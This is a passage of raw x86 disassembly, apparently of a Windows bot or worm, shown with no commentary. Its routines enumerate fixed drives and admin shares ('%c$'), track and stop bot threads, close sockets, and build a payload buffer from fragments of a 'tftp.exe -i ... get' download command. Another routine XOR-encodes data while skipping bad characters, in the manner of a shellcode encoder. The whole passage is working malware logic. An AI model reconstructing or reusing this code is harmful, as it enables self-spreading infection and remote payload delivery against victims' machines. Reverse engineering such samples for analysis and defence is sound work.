		jz	loc_416B34
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41792A
		push	esi
		push	offset aC_1	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_41792A
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_441418	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_416B34
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_40E1B5
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_416AF2
		push	offset unk_43B2B8
		jmp	short loc_416AF7
; ---------------------------------------------------------------------------


loc_416AF2:				; CODE XREF: sub_416885+264j
		push	offset unk_43B280


loc_416AF7:				; CODE XREF: sub_416885+26Bj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41792A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_416B27
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_416B27:				; CODE XREF: sub_416885+286j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40C4F7
		pop	ecx


loc_416B34:				; CODE XREF: sub_416885+206j
					; sub_416885+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_416A83


loc_416B3F:				; CODE XREF: sub_416885+1F8j
		lea	eax, [ebp+var_220]
		push	offset unk_43B240
		push	eax
		call	sub_4173AC
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_416B6A
; ---------------------------------------------------------------------------


loc_416B57:				; CODE XREF: sub_416885+173j
		lea	eax, [ebp+var_220]
		push	offset unk_43AF08
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_416B6A:				; CODE XREF: sub_416885+2D0j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_416B88
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_416B88:				; CODE XREF: sub_416885+2E8j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40C4F7
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_416885	endp

; ---------------------------------------------------------------------------
dword_416B9C	dd 6A016Ah, 6A006Ah, 0FFF9B8E8h, 10C483FFh, 0AEC035FFh
					; DATA XREF: ___:0040F111o
		dd 0E8900043h, 7C3EB88Ah
		db 0EBh, 0E2h

; =============== S U B	R O U T	I N E =======================================



sub_416BBA	proc near		; CODE XREF: sub_416BDA+Ap
					; sub_416CB2+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_417AF0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_417AF0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_416BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BDA	proc near		; CODE XREF: sub_416CC9+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_416BBA
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_416BF7
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_416BF7:				; CODE XREF: sub_416BDA+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_417AF0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_417AF0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_43B4BC, eax
		lea	eax, [edi+1]
		mov	dword_43B4DD, eax
		lea	eax, [edi+17h]
		mov	dword_43B4D5, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_43B458
		push	ebx
		mov	dword_43B4EB, eax
		call	sub_417490
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_417490
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417490
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417490
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417490
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_417490
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_43B4E1
		push	esi
		call	sub_417490
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416BDA	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CB2	proc near		; CODE XREF: sub_416CC9+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_416BBA
		push	eax
		call	sub_416D36
		add	esp, 0Ch
		retn
sub_416CB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CC9	proc near		; CODE XREF: sub_403BE2+32p
					; sub_404D78+43p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_416CB2
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_416CE9
		cmp	eax, 0FFFFh
		jbe	short loc_416CED


loc_416CE9:				; CODE XREF: sub_416CC9+17j
		xor	eax, eax
		jmp	short loc_416D32
; ---------------------------------------------------------------------------


loc_416CED:				; CODE XREF: sub_416CC9+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_416BBA
		add	eax, 101h
		push	eax
		call	sub_417BEE
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_416BBA
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_416BDA
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416D51
		push	esi
		mov	edi, eax
		call	sub_417C62
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_416D32:				; CODE XREF: sub_416CC9+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_416CC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D36	proc near		; CODE XREF: sub_416CB2+Ep
					; sub_416D51+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_416D3F
		inc	ecx


loc_416D3F:				; CODE XREF: sub_416D36+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_416D36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D51	proc near		; CODE XREF: sub_416CC9+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_416D6D
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_416D6D
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_416D6D
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_416D70


loc_416D6D:				; CODE XREF: sub_416D51+8j
					; sub_416D51+Ej ...
		inc	[ebp+arg_C]


loc_416D70:				; CODE XREF: sub_416D51+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_416D98
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_416D91
		cmp	al, 0Dh
		jz	short loc_416D91
		cmp	al, 5Ch
		jz	short loc_416D91
		test	al, al
		jnz	short loc_416D98


loc_416D91:				; CODE XREF: sub_416D51+32j
					; sub_416D51+36j ...
		add	[ebp+arg_C], 100h


loc_416D98:				; CODE XREF: sub_416D51+28j
					; sub_416D51+3Ej
		push	[ebp+arg_C]
		call	sub_416D36
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_416DB0
		cmp	eax, 0FFFFh
		jbe	short loc_416DB7


loc_416DB0:				; CODE XREF: sub_416D51+56j
		xor	eax, eax
		jmp	loc_416E55
; ---------------------------------------------------------------------------


loc_416DB7:				; CODE XREF: sub_416D51+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_515858
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_416DE7


loc_416DCB:				; CODE XREF: sub_416D51+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_416DDE
		cmp	al, 0Ah
		jz	short loc_416DDE
		cmp	al, 0Dh
		jz	short loc_416DDE
		cmp	al, 5Ch
		jnz	short loc_416DE2


loc_416DDE:				; CODE XREF: sub_416D51+7Fj
					; sub_416D51+83j ...
		inc	bl
		xor	edx, edx


loc_416DE2:				; CODE XREF: sub_416D51+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_416DCB


loc_416DE7:				; CODE XREF: sub_416D51+78j
		cmp	ecx, esi
		mov	byte_515858, bl
		ja	short loc_416E13
		push	15h
		push	offset loc_43B440
		push	[ebp+arg_0]
		mov	byte_43B44D, cl
		mov	byte_43B451, bl
		call	sub_417490
		add	esp, 0Ch
		push	15h
		jmp	short loc_416E34
; ---------------------------------------------------------------------------


loc_416E13:				; CODE XREF: sub_416D51+9Ej
		push	17h
		push	offset loc_43B428
		push	[ebp+arg_0]
		mov	word_43B436, cx
		mov	byte_43B43B, bl
		call	sub_417490
		add	esp, 0Ch
		push	17h


loc_416E34:				; CODE XREF: sub_416D51+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_416E50
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_416E42:				; CODE XREF: sub_416D51+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_416E42


loc_416E50:				; CODE XREF: sub_416D51+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_416E55:				; CODE XREF: sub_416D51+61j
		pop	esi
		leave
		retn
sub_416D51	endp


; =============== S U B	R O U T	I N E =======================================



sub_416E58	proc near		; CODE XREF: sub_406047+220p
					; sub_4071BD+F0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_446C10


loc_416E60:				; CODE XREF: sub_416E58+18j
		cmp	byte ptr [eax],	0
		jz	short loc_416E74
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_5154C0
		jl	short loc_416E60
		jmp	short loc_416EBF
; ---------------------------------------------------------------------------


loc_416E74:				; CODE XREF: sub_416E58+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_446C10[esi]
		push	eax
		call	sub_4182F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_446E10[esi], eax
		and	dword_446E14[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_446E18[esi], 0
		mov	dword_446E1C[esi], eax
		and	byte_446E28[esi], 0
		pop	esi


loc_416EBF:				; CODE XREF: sub_416E58+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_416E58	endp

; ---------------------------------------------------------------------------
byte_416EC3	db 55h			; DATA XREF: sub_40F6F1+5D1Do
		dd 0EC81EC8Bh, 98h, 5608458Bh, 59266A57h, 0BD8DF08Bh, 0FFFFFF68h
		dd 75FFA5F3h, 9480C7F0h, 1000000h, 8D000000h, 0FFFF6C85h
		dd 0F475FFFFh, 68B5FF50h, 0E8FFFFFFh, 15h, 0E8EC75FFh
		dd 26Ch, 6A14C483h, 45E89000h, 5F7C3F51h, 0EC8B555Eh, 200EC81h
		dd 57560000h, 75FF006Ah, 0B51C6810h, 75FF0043h,	875FF0Ch
		dd 0FF6CDBE8h, 14C483FFh, 10BEFF33h, 8000446Ch,	3C74003Eh
		dd 147D83h, 0BE830975h,	204h, 562D7500h, 858D57h, 68FFFFFEh
		dd 43790Ch, 446E850h, 16A0000h,	0FE00858Dh, 75FFFFFFh
		dd 75FF5010h, 875FF0Ch,	0FF6C93E8h, 24C483FFh, 234C681h
		dd 81470000h, 5154C0FEh, 5FB07C00h
; ---------------------------------------------------------------------------
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_416F93	proc near		; CODE XREF: sub_40F6F1+5060p
					; sub_417021+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_41701B
		cmp	esi, 5DCh
		jge	short loc_41701B
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_446E24[esi]
		lea	edi, dword_446E24[esi]
		nop
		call	near ptr 7C81CE03h
		cmp	[edi], ebx
		jz	short loc_416FCB
		push	1
		pop	ebp


loc_416FCB:				; CODE XREF: sub_416F93+33j
		mov	[edi], ebx
		lea	edi, dword_446E18[esi]
		mov	dword_446E10[esi], ebx
		mov	dword_446E14[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_416FEC
		push	eax
		call	sub_415EA0
		pop	ecx


loc_416FEC:				; CODE XREF: sub_416F93+50j
		mov	[edi], ebx
		lea	edi, dword_446E1C[esi]
		mov	byte ptr dword_446C10[esi], bl
		mov	byte_446E28[esi], bl
		push	dword ptr [edi]
		call	dword_441450	; closesocket
		lea	esi, dword_446E20[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_441450	; closesocket
		mov	[esi], ebx
		pop	edi


loc_41701B:				; CODE XREF: sub_416F93+Dj
					; sub_416F93+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_416F93	endp


; =============== S U B	R O U T	I N E =======================================



sub_417021	proc near		; CODE XREF: sub_40ABB7:loc_40ABDBp
					; sub_40D93C+18p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_446C10


loc_41702D:				; CODE XREF: sub_417021+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_41703E
		push	edi
		call	sub_416F93
		test	eax, eax
		pop	ecx
		jz	short loc_41703E
		inc	ebx


loc_41703E:				; CODE XREF: sub_417021+Fj
					; sub_417021+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_5154C0
		jl	short loc_41702D
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_417021	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417053	proc near		; CODE XREF: sub_40F6F1+1EB8p
					; sub_40F6F1+202Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_446E14


loc_417067:				; CODE XREF: sub_417053+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_417089
		test	edi, edi
		jle	short loc_41707B
		cmp	[esi], edi
		jz	short loc_41707B
		cmp	ebx, edi
		jnz	short loc_417089


loc_41707B:				; CODE XREF: sub_417053+1Ej
					; sub_417053+22j
		push	ebx
		call	sub_416F93
		test	eax, eax
		pop	ecx
		jz	short loc_417089
		inc	[ebp+var_4]


loc_417089:				; CODE XREF: sub_417053+1Aj
					; sub_417053+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_5156C4
		jl	short loc_417067
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417053	endp


; =============== S U B	R O U T	I N E =======================================



sub_4170A0	proc near		; CODE XREF: sub_407146+Bp
					; sub_4071BD+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_446E10


loc_4170A7:				; CODE XREF: sub_4170A0+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_4170B0
		inc	eax


loc_4170B0:				; CODE XREF: sub_4170A0+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_5156C0
		jl	short loc_4170A7
		retn
sub_4170A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4170BF	proc near		; CODE XREF: sub_40F6F1+57D8p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_446E10


loc_4170C9:				; CODE XREF: sub_4170BF+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_4170E2
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_5156C0
		jl	short loc_4170C9
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4170E2:				; CODE XREF: sub_4170BF+10j
		mov	eax, edx
		pop	esi
		retn
sub_4170BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4170E6	proc near		; CODE XREF: sub_40F6F1:loc_41078Fp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_4170FF
		push	[ebp+arg_1C]
		call	sub_41791F
		pop	ecx


loc_4170FF:				; CODE XREF: sub_4170E6+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_417053
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41712B
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_4173AC
		add	esp, 14h
		jmp	short loc_417145
; ---------------------------------------------------------------------------


loc_41712B:				; CODE XREF: sub_4170E6+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_4173AC
		add	esp, 10h


loc_417145:				; CODE XREF: sub_4170E6+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_417165
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_417165:				; CODE XREF: sub_4170E6+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40C4F7
		pop	ecx
		leave
		retn
sub_4170E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_417174	proc near		; CODE XREF: sub_401000+A2p
					; sub_401447+8Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_446E24[eax], ecx
		mov	dword_446E10[eax], ecx
		mov	dword_446E14[eax], ecx
		mov	dword_446E18[eax], ecx
		mov	dword_446E1C[eax], ecx
		mov	dword_446E20[eax], ecx
		mov	byte ptr dword_446C10[eax], cl
		mov	byte_446E28[eax], cl
		retn
sub_417174	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4171B1	proc near		; CODE XREF: sub_40F6F1+6310p
					; sub_4172DF+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_4171BB:				; CODE XREF: sub_4171B1+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_41721B
		cmp	eax, 1
		jnz	short loc_41721B
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_41721B
		cmp	cl, 2Ah
		jz	short loc_417202
		cmp	cl, 3Fh
		jz	short loc_4171E5
		cmp	cl, 5Bh
		jz	short loc_4171EA
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_4171E5:				; CODE XREF: sub_4171B1+26j
		inc	[ebp+arg_4]
		jmp	short loc_417215
; ---------------------------------------------------------------------------


loc_4171EA:				; CODE XREF: sub_4171B1+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_417247
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417215
; ---------------------------------------------------------------------------


loc_417202:				; CODE XREF: sub_4171B1+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4172DF
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_417215:				; CODE XREF: sub_4171B1+37j
					; sub_4171B1+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_4171BB
; ---------------------------------------------------------------------------


loc_41721B:				; CODE XREF: sub_4171B1+Ej
					; sub_4171B1+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_41722B
		cmp	eax, 1
		jnz	short loc_417242
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_41721B
; ---------------------------------------------------------------------------


loc_41722B:				; CODE XREF: sub_4171B1+6Dj
		cmp	eax, 1
		jnz	short loc_417242
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_417242
		cmp	byte ptr [esi],	0
		jnz	short loc_417242
		push	1
		pop	eax
		jmp	short loc_417244
; ---------------------------------------------------------------------------


loc_417242:				; CODE XREF: sub_4171B1+72j
					; sub_4171B1+7Dj ...
		xor	eax, eax


loc_417244:				; CODE XREF: sub_4171B1+8Fj
		pop	esi
		pop	ebp
		retn
sub_4171B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417247	proc near		; CODE XREF: sub_4171B1+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_417268
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_417268:				; CODE XREF: sub_417247+19j
		push	ebx
		push	esi


loc_41726A:				; CODE XREF: sub_417247+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_417278
		cmp	[ebp+var_4], eax
		jnz	short loc_4172C4


loc_417278:				; CODE XREF: sub_417247+2Aj
		test	edi, edi
		jnz	short loc_4172B9
		cmp	bl, 2Dh
		jnz	short loc_4172AD
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_4172AD
		cmp	al, 5Dh
		jz	short loc_4172AD
		cmp	[ebp+var_4], edi
		jnz	short loc_4172AD
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_4172B9
		cmp	bl, al
		jg	short loc_4172B9
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_4172B9
; ---------------------------------------------------------------------------


loc_4172AD:				; CODE XREF: sub_417247+38j
					; sub_417247+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_4172B9
		push	1
		pop	edi


loc_4172B9:				; CODE XREF: sub_417247+33j
					; sub_417247+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_41726A
; ---------------------------------------------------------------------------


loc_4172C4:				; CODE XREF: sub_417247+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_4172D1
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_4172D1:				; CODE XREF: sub_417247+82j
		cmp	edi, eax
		jnz	short loc_4172DA
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_4172DA:				; CODE XREF: sub_417247+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_417247	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172DF	proc near		; CODE XREF: sub_4171B1+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_4172FB:				; CODE XREF: sub_4172DF+3Aj
		cmp	[eax], bl
		jz	short loc_41731B
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_417310
		cmp	cl, 2Ah
		jnz	short loc_41731B
		cmp	cl, 3Fh
		jnz	short loc_417313


loc_417310:				; CODE XREF: sub_4172DF+25j
		inc	eax
		mov	[edi], eax


loc_417313:				; CODE XREF: sub_4172DF+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_4172FB
; ---------------------------------------------------------------------------


loc_41731B:				; CODE XREF: sub_4172DF+1Ej
					; sub_4172DF+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_417326
		inc	dword ptr [esi]
		jmp	short loc_41731B
; ---------------------------------------------------------------------------


loc_417326:				; CODE XREF: sub_4172DF+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_417347
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_417338
		xor	eax, eax
		jmp	short loc_4173A7
; ---------------------------------------------------------------------------


loc_417338:				; CODE XREF: sub_4172DF+53j
		cmp	cl, bl
		jnz	short loc_417347
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_417347
		push	1
		pop	eax
		jmp	short loc_4173A7
; ---------------------------------------------------------------------------


loc_417347:				; CODE XREF: sub_4172DF+4Dj
					; sub_4172DF+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_4171B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417391


loc_417355:				; CODE XREF: sub_4172DF+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_417359:				; CODE XREF: sub_4172DF+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_417371
		cmp	cl, 5Bh
		jz	short loc_417371
		cmp	dl, bl
		jz	short loc_417371
		inc	eax
		mov	[edi], eax
		jmp	short loc_417359
; ---------------------------------------------------------------------------


loc_417371:				; CODE XREF: sub_4172DF+82j
					; sub_4172DF+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_417388
		push	eax
		push	dword ptr [esi]
		call	sub_4171B1
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_41738D
; ---------------------------------------------------------------------------


loc_417388:				; CODE XREF: sub_4172DF+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_41738D:				; CODE XREF: sub_4172DF+A7j
		cmp	eax, ebx
		jnz	short loc_417355


loc_417391:				; CODE XREF: sub_4172DF+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_4173A4
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_4173A4
		mov	[ebp+var_4], 1


loc_4173A4:				; CODE XREF: sub_4172DF+B6j
					; sub_4172DF+BCj
		mov	eax, [ebp+var_4]


loc_4173A7:				; CODE XREF: sub_4172DF+57j
					; sub_4172DF+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4172DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4173AC	proc near		; CODE XREF: sub_401000+61p
					; sub_4010B2+308p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
